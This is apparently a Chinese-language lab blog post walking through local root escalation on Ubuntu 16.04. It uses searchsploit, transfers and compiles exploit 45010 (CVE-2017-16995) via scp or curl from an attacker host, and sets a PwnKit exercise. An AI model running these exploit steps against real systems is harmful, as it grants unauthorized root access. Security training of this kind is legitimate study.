利用 Linux Kernel 漏洞
利用 Linux Kernel 漏洞
Kernel 核心漏洞利用是一種很好的提權方法,但成功可能不僅取決於目標核心版本的匹配,還取決於作業系統風格的匹配,例如 Debian、RHEL、Gentoo 等也是很重要的條件
透過檢查 cat /etc/issue 檔案來收集有關目標作業系統的資訊 : Ubuntu 16.04.4 LTS
接下來使用標準系統命令檢查核心版本和系統架構 uname -r & arch
依據上述的資訊推斷目標系統為 :
x86_64 架構上運行 Ubuntu 16.04.3 LTS(核心 4.4.0-116-generic)
還記得之前用過的漏洞查找指令 searchsploit,指令 searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
- 先過濾包含 4. 的內容
- 再去掉 < 4.4.0 的內容
- 與過濾掉 4.8 的內容
未過濾前內容
| grep "4." 的結果........感覺好像是一樣
最後加上 | grep -v "4.8" 去掉 4.8 的產出
直接使用最後一個
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
將檔案 COPY 到當前目錄,注意 *.c 是未編譯過前的檔案
讓我們看一下前 20 行的內容 head 45010.c -n 20
很幸運的這一行直接告訴我們要透過 gcc 進行編譯
gcc cve-2017-16995.c -o cve-2017-16995
接下來透過 SCP 將檔案傳輸到目標攻擊主機上準備進行編譯
是的,編譯的進行是在目標主機上而非攻擊機上
指令 scp cve-2017-16995.c joe@192.168.220.216:
ls 確認一下檔案已上傳到攻擊目標
也可以透過 curl -O http://192.168.45.228/cve-2017-16995.c 來下載攻擊機上的檔案
傳輸完畢後我們使用該 Exploit 內容的指令直接進行編譯 gcc cve-2017-16995.c -o cve-2017-16995
可以放心地假設 gcc 正確編譯了它,因為它沒有輸出任何錯誤
接著先檢查我們剛剛編譯完成的檔案架構
file cve-2017-16995,顯示用於 x86-64 上使用的檔案,看來應該沒有問題
那就直接執行看看吧 ./cve-2017-16995,順利地拿到 root 了
練習 :
透過下載這個 PwnKit https://github.com/ly4k/PwnKit,上傳到目標機
然後利用手動的方式執行如下
直接就提權拿到 root 與拿 flag
Exploit Db 上是 50689 https://www.exploit-db.com/exploits/50689
留言
張貼留言